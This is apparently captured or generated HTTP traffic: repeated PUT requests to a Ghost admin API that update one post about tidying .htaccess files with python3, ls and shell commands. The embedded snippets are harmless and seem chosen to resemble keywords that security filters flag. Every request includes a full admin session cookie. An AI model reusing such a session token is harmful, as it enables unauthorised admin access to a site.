idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8105", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8135", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8578", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8337", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls 